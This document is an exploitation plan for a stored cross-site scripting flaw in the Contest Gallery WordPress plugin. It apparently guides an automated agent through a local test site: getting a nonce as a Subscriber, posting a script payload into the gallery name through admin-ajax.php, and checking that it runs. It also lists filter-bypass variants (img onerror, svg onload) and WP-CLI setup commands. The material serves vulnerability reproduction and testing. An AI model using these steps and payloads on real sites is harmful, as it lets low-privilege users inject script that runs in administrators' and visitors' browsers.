Exploitation Research Plan - CVE-2026-42656 (Contest Gallery Stored XSS)

1. Vulnerability Summary

The Contest Gallery plugin (up to 28.1.6) contains a stored cross-site scripting vulnerability. The flaw exists because authenticated users (Subscriber level and above) can access certain AJAX endpoints that update gallery configurations or entry data without sufficient capability checks (current_user_can). Input provided to these endpoints is inadequately sanitized before being stored in the database, and is subsequently rendered on both frontend and backend pages without proper escaping.

2. Attack Vector Analysis

• Vulnerable Endpoint: /wp-admin/admin-ajax.php
• Primary AJAX Action: post_cg_save_gallery_options_general (inferred from plugin architecture) or post_cg_save_entry_details.
• Payload Parameter: cg_gallery_name or cg_entry_name.
• Authentication: Subscriber level (authenticated).
• Preconditions: A gallery must exist (e.g., ID 1) and the attacker must obtain a valid nonce.

3. Code Flow

1. Entry Point: A Subscriber sends a POST request to admin-ajax.php with an action prefix wp_ajax_post_cg_....
2. Nonce Verification: The function cg_check_nonce() (called at the start of backend AJAX handlers in ajax/ajax-functions-backend.php) verifies the nonce provided in the cgNonce parameter.
3. Missing Capability Check: The handler lacks a current_user_can('manage_options') check, allowing Subscribers to bypass administrative restrictions.
4. Data Persistence: The handler processes the $_POST array (often using cg1l_sanitize_post which is bypassable for HTML tags) and updates the database table {$wpdb->prefix}contest_gal1ery or {$wpdb->prefix}contest_gal1ery_entries.
5. Sink: When an admin or any visitor views the gallery, the plugin retrieves the settings using $wpdb->get_row and echoes the name directly into the page or inside a script block (as seen in post_cg_get_current_permalinks).

4. Nonce Acquisition Strategy

The plugin enqueues its nonces via wp_localize_script. For Subscribers, the nonce is often available on the frontend if a gallery shortcode is present, or in the dashboard if the plugin loads scripts there.

1. Identify Shortcode: The primary shortcode is [cg_gallery id="1"].
2. Create Test Page: Create a public page containing this shortcode to force the plugin to enqueue its assets.
3. Navigate and Extract: Use the browser to navigate to this page and extract the nonce from the cgJsClass or cg_ajax_object global variables.

• Variable Name: cgJsClass.gallery.vars.currentCgNonce (from ajax-functions-frontend.php) or cg_ajax_object.nonce.
• Action String: cg1l_action or contest-gal1ery-nonce.

5. Exploitation Strategy

Step 1: Obtain Nonce

Use browser_navigate to visit a page with the gallery shortcode and browser_eval to extract the nonce.

Step 2: Inject Payload

Submit a request to update the gallery title with an XSS payload.

• URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: post_cg_save_gallery_options_general
  • cgNonce: [EXTRACTED_NONCE]
  • cgRealId: 1 (The ID of the target gallery)
  • cg_gallery_name: Test Gallery<script>alert(document.domain)</script>

Step 3: Trigger Execution

Navigate to the gallery page or the plugin's admin settings page as an administrator.

6. Test Data Setup

1. Create Gallery: Use WP-CLI to ensure at least one gallery exists.

   # This usually requires direct DB insertion as the plugin doesn't provide CLI
   wp db query "INSERT INTO wp_contest_gal1ery (GalleryID, GalleryName) VALUES (1, 'Initial Gallery');"
   

2. Create Landing Page:

   wp post create --post_type=page --post_title="Gallery Page" --post_status=publish --post_content='[cg_gallery id="1"]'
   

3. Create Attacker User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
   

7. Expected Results

• The AJAX request should return a successful status (e.g., 1 or a JSON success message).
• The database field GalleryName in the wp_contest_gal1ery table will contain the <script> tag.
• Upon viewing the page at ?page_id=[ID], a JavaScript alert box showing the document domain should appear.

8. Verification Steps

1. Check Database:

   wp db query "SELECT GalleryName FROM wp_contest_gal1ery WHERE id=1;"
   

2. Verify Frontend Output:
   Use http_request to fetch the gallery page and check for the raw payload.

   # Expected in response body:
   # <h2>Test Gallery<script>alert(document.domain)</script></h2>
   

9. Alternative Approaches

If post_cg_save_gallery_options_general is restricted:

• Target Entry Submission: If Subscribers are allowed to submit photos, use an action like post_cg_save_entry_details and inject into the entry title or description.
• Payload Variant: If <script> is filtered, try:
  • <img src=x onerror=alert(1)>
  • "><svg/onload=alert(1)>
• Check Backend XSS: Some payloads might only execute in the admin dashboard (Stored Blind XSS) where the gallery list is rendered. Navigate to /wp-admin/admin.php?page=contest-gallery-management to verify.